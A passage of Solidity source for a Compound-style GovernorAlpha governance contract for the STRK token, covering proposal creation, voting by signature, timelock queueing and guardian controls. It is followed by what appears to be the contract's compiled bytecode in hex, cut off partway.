/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address strk_, address guardian_) public {
timelock = TimelockInterface(timelock_);
strk = StrkInterface(strk_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(strk.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || strk.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = strk.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface StrkInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
} | 0x60806040526004361061019c5760003560e01c80634634c61f116100ec578063da35c6641161008a578063deaaa7cc11610064578063deaaa7cc1461046e578063e23a9a5214610483578063f24e5343146104b0578063fe0d94c1146104c55761019c565b8063da35c66414610419578063da95691a1461042e578063ddf0b0091461044e5761019c565b806391500671116100c657806391500671146103ad578063b58131b0146103cd578063b9a61961146103e2578063d33219b4146103f75761019c565b80634634c61f14610363578063760fbc13146103835780637bdbe4d0146103985761019c565b806321f43e42116101595780633932abb1116101335780633932abb1146102df5780633e4f49e6146102f457806340e58ee514610321578063452a9320146103415761019c565b806321f43e421461027a57806324bc1a641461029a578063328dd982146102af5761019c565b8063013cf08b146101a157806302a251a3146101df57806306fdde031461020157806315373e3d1461022357806317977c611461024557806320606b7014610265575b600080fd5b3480156101ad57600080fd5b506101c16101bc366004612445565b6104d8565b6040516101d69998979695949392919061355e565b60405180910390f35b3480156101eb57600080fd5b506101f4610531565b6040516101d6919061328b565b34801561020d57600080fd5b50610216610538565b6040516101d69190613347565b34801561022f57600080fd5b5061024361023e366004612493565b610569565b005b34801561025157600080fd5b506101f4610260366004612288565b610578565b34801561027157600080fd5b506101f461058a565b34801561028657600080fd5b506102436102953660046122ae565b6105a1565b3480156102a657600080fd5b506101f4610688565b3480156102bb57600080fd5b506102cf6102ca366004612445565b610696565b6040516101d6949392919061323e565b3480156102eb57600080fd5b506101f4610925565b34801561030057600080fd5b5061031461030f366004612445565b61092a565b6040516101d69190613339565b34801561032d57600080fd5b5061024361033c366004612445565b610aac565b34801561034d57600080fd5b50610356610d15565b6040516101d691906130e8565b34801561036f57600080fd5b5061024361037e3660046124c3565b610d24565b34801561038f57600080fd5b50610243610eb9565b3480156103a457600080fd5b506101f4610ef5565b3480156103b957600080fd5b506102436103c83660046122ae565b610efa565b3480156103d957600080fd5b506101f4610fcf565b3480156103ee57600080fd5b50610243610fdd565b34801561040357600080fd5b5061040c611062565b6040516101d6919061332b565b34801561042557600080fd5b506101f4611071565b34801561043a57600080fd5b506101f46104493660046122e8565b611077565b34801561045a57600080fd5b50610243610469366004612445565b611499565b34801561047a57600080fd5b506101f4611703565b34801561048f57600080fd5b506104a361049e366004612463565b61170f565b6040516101d691906134a8565b3480156104bc57600080fd5b5061040c61177e565b6102436104d3366004612445565b61178d565b6004602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b6143805b90565b60405180604001604052806015815260200174537472696b6520476f7665726e6f7220416c70686160581b81525081565b610574338383611952565b5050565b60056020526000908152604090205481565b604051610596906130d2565b604051809103902081565b6002546001600160a01b031633146105d45760405162461bcd60e51b81526004016105cb90613388565b60405180910390fd5b600080546040516001600160a01b0390911691630825f38f918391906105fe9087906020016130e8565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161062d9493929190613111565b600060405180830381600087803b15801561064757600080fd5b505af115801561065b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106839190810190612410565b505050565b69373772cde36577a4000090565b6060806060806000600460008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561071857602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116106fa575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561076a57602002820191906000526020600020905b815481526020019060010190808311610756575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b8282101561083d5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108295780601f106107fe57610100808354040283529160200191610829565b820191906000526020600020905b81548152906001019060200180831161080c57829003601f168201915b505050505081526020019060010190610792565b50505050915080805480602002602001604051908101604052809291908181526020016000905b8282101561090f5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108fb5780601f106108d0576101008083540402835291602001916108fb565b820191906000526020600020905b8154815290600101906020018083116108de57829003601f168201915b505050505081526020019060010190610864565b5050505090509450945094509450509193509193565b600190565b6000816003541015801561093e5750600082115b61095a5760405162461bcd60e51b81526004016105cb90613398565b6000828152600460205260409020600b81015460ff161561097f576002915050610aa7565b80600701544311610994576000915050610aa7565b806008015443116109a9576001915050610aa7565b80600a015481600901541115806109ca57506109c3610688565b8160090154105b156109d9576003915050610aa7565b60028101546109ec576004915050610aa7565b600b810154610100900460ff1615610a08576007915050610aa7565b6002810154600054604080516360d143f160e11b81529051610a9193926001600160a01b03169163c1a287e2916004808301926020929190829003018186803b158015610a5457600080fd5b505afa158015610a68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610a8c91908101906123f2565b611b1b565b4210610aa1576006915050610aa7565b60059150505b919050565b6000610ab78261092a565b90506007816007811115610ac757fe5b1415610ae55760405162461bcd60e51b81526004016105cb90613468565b60008281526004602052604090206002546001600160a01b0316331480610bb05750610b0f610fcf565b60018054838201546001600160a01b039182169263782d6fe19290911690610b38904390611b47565b6040518363ffffffff1660e01b8152600401610b55929190613160565b60206040518083038186803b158015610b6d57600080fd5b505afa158015610b81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610ba5919081019061252b565b6001600160601b0316105b610bcc5760405162461bcd60e51b81526004016105cb906133f8565b600b8101805460ff1916600117905560005b6003820154811015610cd8576000546003830180546001600160a01b039092169163591fcdfe919084908110610c1057fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610c3857fe5b9060005260206000200154856005018581548110610c5257fe5b90600052602060002001866006018681548110610c6b57fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610c9a9594939291906131fd565b600060405180830381600087803b158015610cb457600080fd5b505af1158015610cc8573d6000803e3d6000fd5b505060019092019150610bde9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610d08919061328b565b60405180910390a1505050565b6002546001600160a01b031681565b6000604051610d32906130d2565b604080519182900382208282019091526015825274537472696b6520476f7665726e6f7220416c70686160581b6020909201919091527fb7cbbca0a91fe0fca163c2e5cc536ed5ccbd8dbd4a0af5db09b256ba5339a9ab610d91611b6f565b30604051602001610da59493929190613299565b6040516020818303038152906040528051906020012090506000604051610dcb906130dd565b604051908190038120610de491899089906020016132ce565b60405160208183030381529060405280519060200120905060008282604051602001610e119291906130a1565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610e4e94939291906132f6565b6020604051602081039080840390855afa158015610e70573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610ea35760405162461bcd60e51b81526004016105cb90613458565b610eae818a8a611952565b505050505050505050565b6002546001600160a01b03163314610ee35760405162461bcd60e51b81526004016105cb90613498565b600280546001600160a01b0319169055565b600a90565b6002546001600160a01b03163314610f245760405162461bcd60e51b81526004016105cb906133b8565b600080546040516001600160a01b0390911691633a66f90191839190610f4e9087906020016130e8565b604051602081830303815290604052856040518563ffffffff1660e01b8152600401610f7d9493929190613111565b602060405180830381600087803b158015610f9757600080fd5b505af1158015610fab573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061068391908101906123f2565b690dcdd93b4b2c7410000090565b6002546001600160a01b031633146110075760405162461bcd60e51b81526004016105cb90613358565b6000805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b6819260048084019382900301818387803b15801561104857600080fd5b505af115801561105c573d6000803e3d6000fd5b50505050565b6000546001600160a01b031681565b60035481565b6000611081610fcf565b600180546001600160a01b03169063782d6fe19033906110a2904390611b47565b6040518363ffffffff1660e01b81526004016110bf9291906130f6565b60206040518083038186803b1580156110d757600080fd5b505afa1580156110eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061110f919081019061252b565b6001600160601b0316116111355760405162461bcd60e51b81526004016105cb90613448565b84518651148015611147575083518651145b8015611154575082518651145b6111705760405162461bcd60e51b81526004016105cb906133e8565b855161118e5760405162461bcd60e51b81526004016105cb90613438565b611196610ef5565b865111156111b65760405162461bcd60e51b81526004016105cb906133c8565b3360009081526005602052604090205480156112335760006111d78261092a565b905060018160078111156111e757fe5b14156112055760405162461bcd60e51b81526004016105cb90613408565b600081600781111561121357fe5b14156112315760405162461bcd60e51b81526004016105cb90613428565b505b600061124143610a8c610925565b9050600061125182610a8c610531565b6003805460010190559050611264611cd2565b604051806101a001604052806003548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060046000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550604082015181600201556060820151816003019080519060200190611347929190611d47565b5060808201518051611363916004840191602090910190611dac565b5060a0820151805161137f916005840191602090910190611df3565b5060c0820151805161139b916006840191602090910190611e4c565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516005600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e604051611481999897969594939291906134b6565b60405180910390a15193505050505b95945050505050565b60046114a48261092a565b60078111156114af57fe5b146114cc5760405162461bcd60e51b81526004016105cb90613368565b600081815260046020818152604080842084548251630d48571f60e31b815292519195946115219442946001600160a01b0390931693636a42b8f8938084019390829003018186803b158015610a5457600080fd5b905060005b60038301548110156116c9576116c183600301828154811061154457fe5b6000918252602090912001546004850180546001600160a01b03909216918490811061156c57fe5b906000526020600020015485600501848154811061158657fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116145780601f106115e957610100808354040283529160200191611614565b820191906000526020600020905b8154815290600101906020018083116115f757829003601f168201915b505050505086600601858154811061162857fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116b65780601f1061168b576101008083540402835291602001916116b6565b820191906000526020600020905b81548152906001019060200180831161169957829003601f168201915b505050505086611b73565b600101611526565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610d0890859084906135e4565b604051610596906130dd565b611717611ea5565b5060008281526004602090815260408083206001600160a01b0385168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046001600160601b0316918101919091525b92915050565b6001546001600160a01b031681565b60056117988261092a565b60078111156117a357fe5b146117c05760405162461bcd60e51b81526004016105cb90613378565b6000818152600460205260408120600b8101805461ff001916610100179055905b6003820154811015611916576000546004830180546001600160a01b0390921691630825f38f91908490811061181357fe5b906000526020600020015484600301848154811061182d57fe5b6000918252602090912001546004860180546001600160a01b03909216918690811061185557fe5b906000526020600020015486600501868154811061186f57fe5b9060005260206000200187600601878154811061188857fe5b9060005260206000200188600201546040518763ffffffff1660e01b81526004016118b79594939291906131fd565b6000604051808303818588803b1580156118d057600080fd5b505af11580156118e4573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f1916820160405261190d9190810190612410565b506001016117e1565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051611946919061328b565b60405180910390a15050565b600161195d8361092a565b600781111561196857fe5b146119855760405162461bcd60e51b81526004016105cb90613478565b60008281526004602090815260408083206001600160a01b0387168452600c8101909252909120805460ff16156119ce5760405162461bcd60e51b81526004016105cb906133a8565b600154600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611a04918a91600401613160565b60206040518083038186803b158015611a1c57600080fd5b505afa158015611a30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611a54919081019061252b565b90508315611a7d57611a738360090154826001600160601b0316611b1b565b6009840155611a9a565b611a9483600a0154826001600160601b0316611b1b565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611b0b90889088908890869061316e565b60405180910390a1505050505050565b600082820183811015611b405760405162461bcd60e51b81526004016105cb906133d8565b9392505050565b600082821115611b695760405162461bcd60e51b81526004016105cb90613488565b50900390565b4690565b6000546040516001600160a01b039091169063f2b0653790611ba190889088908890889088906020016131a3565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611bd3919061328b565b60206040518083038186803b158015611beb57600080fd5b505afa158015611bff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611c2391908101906123d4565b15611c405760405162461bcd60e51b81526004016105cb90613418565b600054604051633a66f90160e01b81526001600160a01b0390911690633a66f90190611c7890889088908890889088906004016131a3565b602060405180830381600087803b158015611c9257600080fd5b505af1158015611ca6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611cca91908101906123f2565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611d9c579160200282015b82811115611d9c57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611d67565b50611da8929150611ec5565b5090565b828054828255906000526020600020908101928215611de7579160200282015b82811115611de7578251825591602001919060010190611dcc565b50611da8929150611ee9565b828054828255906000526020600020908101928215611e40579160200282015b82811115611e405782518051611e30918491602090910190611f03565b5091602001919060010190611e13565b50611da8929150611f70565b828054828255906000526020600020908101928215611e99579160200282015b82811115611e995782518051611e89918491602090910190611f03565b5091602001919060010190611e6c565b50611da8929150611f93565b604080516060810182526000808252602082018190529181019190915290565b61053591905b80821115611da85780546001600160a01b0319168155600101611ecb565b61053591905b80821115611da85760008155600101611eef565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f4457805160ff1916838001178555611de7565b82800160010185558215611de75791820182811115611de7578251825591602001919060010190611dcc565b61053591905b80821115611da8576000611f8a8282611fb6565b50600101611f76565b61053591905b80821115611da8576000611fad8282611fb6565b50600101611f99565b50805460018160011615610100020316600290046000825580601f10611fdc5750611ffa565b601f016020900490600052602060002090810190611ffa9190611ee9565b50565b803561177881613738565b600082601f83011261201957600080fd5b813561202c61202782613619565b6135f2565b9150818183526020840193506020810190508385602084028201111561205157600080fd5b60005b8381101561207d57816120678882611ffd565b8452506020928301929190910190600101612054565b5050505092915050565b600082601f83011261209857600080fd5b81356120a661202782613619565b81815260209384019390925082018360005b8381101561207d57813586016120ce88826121dd565b84525060209283019291909101906001016120b8565b600082601f8301126120f557600080fd5b813561210361202782613619565b81815260209384019390925082018360005b8381101561207d578135860161212b88826121dd565b8452506020928301929190910190600101612115565b600082601f83011261215257600080fd5b813561216061202782613619565b9150818183526020840193506020810190508385602084028201111561218557600080fd5b60005b8381101561207d578161219b88826121c7565b8452506020928301929190910190600101612188565b80356117788161374c565b80516117788161374c565b803561177881613755565b805161177881613755565b600082601f8301126121ee57600080fd5b81356121fc6120278261363a565b9150808252602083016020830185838301111561221857600080fd5b6122238382846136ec565b50505092915050565b600082601f83011261223d57600080fd5b815161224b6120278261363a565b9150808252602083016020830185838301111561226757600080fd5b6122238382846136f8565b80356117788161375e565b805161177881613767565b60006020828403121561229a57600080fd5b60006122a68484611ffd565b949350505050565b600080604083850312156122c157600080fd5b60006122cd8585611ffd565b92505060206122de858286016121c7565b9150509250929050565b600080600080600060a0868803121561230057600080fd5b853567ffffffffffffffff81111561231757600080fd5b61232388828901612008565b955050602086013567ffffffffffffffff81111561234057600080fd5b61234c88828901612141565b945050604086013567ffffffffffffffff81111561236957600080fd5b612375888289016120e4565b935050606086013567ffffffffffffffff81111561239257600080fd5b61239e88828901612087565b925050608086013567ffffffffffffffff8111156123bb57600080fd5b6123c7888289016121dd565b9150509295509295909350565b6000602082840312156123e657600080fd5b60006122a684846121bc565b60006020828403121561240457600080fd5b60006122a684846121d2565b60006020828403121561242257600080fd5b815167ffffffffffffffff81111561243957600080fd5b6122a68482850161222c565b60006020828403121561245757600080fd5b60006122a684846121c7565b6000806040838503121561247657600080fd5b600061248285856121c7565b92505060206122de85828601611ffd565b600080604083850312156124a657600080fd5b60006124b285856121c7565b92505060206122de858286016121b1565b600080600080600060a086880312156124db57600080fd5b60006124e788886121c7565b95505060206124f8888289016121b1565b945050604061250988828901612272565b935050606061251a888289016121c7565b92505060806123c7888289016121c7565b60006020828403121561253d57600080fd5b60006122a6848461227d565b60006125558383612584565b505060200190565b6000611b408383612726565b6000612555838361270c565b61257e816136b9565b82525050565b61257e81613681565b600061259882613674565b6125a28185613678565b93506125ad83613662565b8060005b838110156125db5781516125c58882612549565b97506125d083613662565b9250506001016125b1565b509495945050505050565b60006125f182613674565b6125fb8185613678565b93508360208202850161260d85613662565b8060005b85811015612647578484038952815161262a858261255d565b945061263583613662565b60209a909a0199925050600101612611565b5091979650505050505050565b600061265f82613674565b6126698185613678565b93508360208202850161267b85613662565b8060005b858110156126475784840389528151612698858261255d565b94506126a383613662565b60209a909a019992505060010161267f565b60006126c082613674565b6126ca8185613678565b93506126d583613662565b8060005b838110156125db5781516126ed8882612569565b97506126f883613662565b9250506001016126d9565b61257e8161368c565b61257e81610535565b61257e61272182610535565b610535565b600061273182613674565b61273b8185613678565b935061274b8185602086016136f8565b61275481613724565b9093019392505050565b60008154600181166000811461277b57600181146127a1576127e0565b607f600283041661278c8187613678565b60ff19841681529550506020850192506127e0565b600282046127af8187613678565b95506127ba85613668565b60005b828110156127d9578154888201526001909101906020016127bd565b8701945050505b505092915050565b61257e816136c0565b61257e816136cb565b61257e816136d6565b6000612810603983613678565b7f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736581527f6e646572206d75737420626520676f7620677561726469616e00000000000000602082015260400192915050565b600061286f604483613678565b7f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206381527f616e206f6e6c79206265207175657565642069662069742069732073756363656020820152631959195960e21b604082015260600192915050565b60006128db604583613678565b7f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c81527f2063616e206f6e6c7920626520657865637574656420696620697420697320716020820152641d595d595960da1b604082015260600192915050565b6000612948600283610aa7565b61190160f01b815260020192915050565b6000612966604c83613678565b7f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c81527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060208201526b33b7bb1033bab0b93234b0b760a11b604082015260600192915050565b60006129da601883613678565b7f73657450656e64696e6741646d696e2861646472657373290000000000000000815260200192915050565b6000612a13602983613678565b7f476f7665726e6f72416c7068613a3a73746174653a20696e76616c69642070728152681bdc1bdcd85b081a5960ba1b602082015260400192915050565b6000612a5e602d83613678565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722081526c185b1c9958591e481d9bdd1959609a1b602082015260400192915050565b6000612aad604a83613678565b7f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6381527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f6020820152693b1033bab0b93234b0b760b11b604082015260600192915050565b6000612b1f602883613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7981526720616374696f6e7360c01b602082015260400192915050565b6000612b69601183613678565b706164646974696f6e206f766572666c6f7760781b815260200192915050565b6000612b96604383610aa7565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000612c01602783610aa7565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c20738152667570706f72742960c81b602082015260270192915050565b6000612c4a604483613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c81527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6020820152630c2e8c6d60e31b604082015260600192915050565b6000612cb6602f83613678565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722081526e18589bdd99481d1a1c995cda1bdb19608a1b602082015260400192915050565b6000612d07603883613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20666f756e6420616e81527f20616c7265616479206163746976652070726f706f73616c0000000000000000602082015260400192915050565b6000612d66604483613678565b7f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207081527f726f706f73616c20616374696f6e20616c7265616479207175657565642061746020820152632065746160e01b604082015260600192915050565b6000612dd2603983613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20666f756e6420616e81527f20616c72656164792070656e64696e672070726f706f73616c00000000000000602082015260400192915050565b6000612e31602c83613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f81526b7669646520616374696f6e7360a01b602082015260400192915050565b6000612e7f603f83613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657281527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400602082015260400192915050565b6000612ede602f83613678565b7f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e81526e76616c6964207369676e617475726560881b602082015260400192915050565b6000612f2f603683613678565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f742063618152751b98d95b08195e1958dd5d1959081c1c9bdc1bdcd8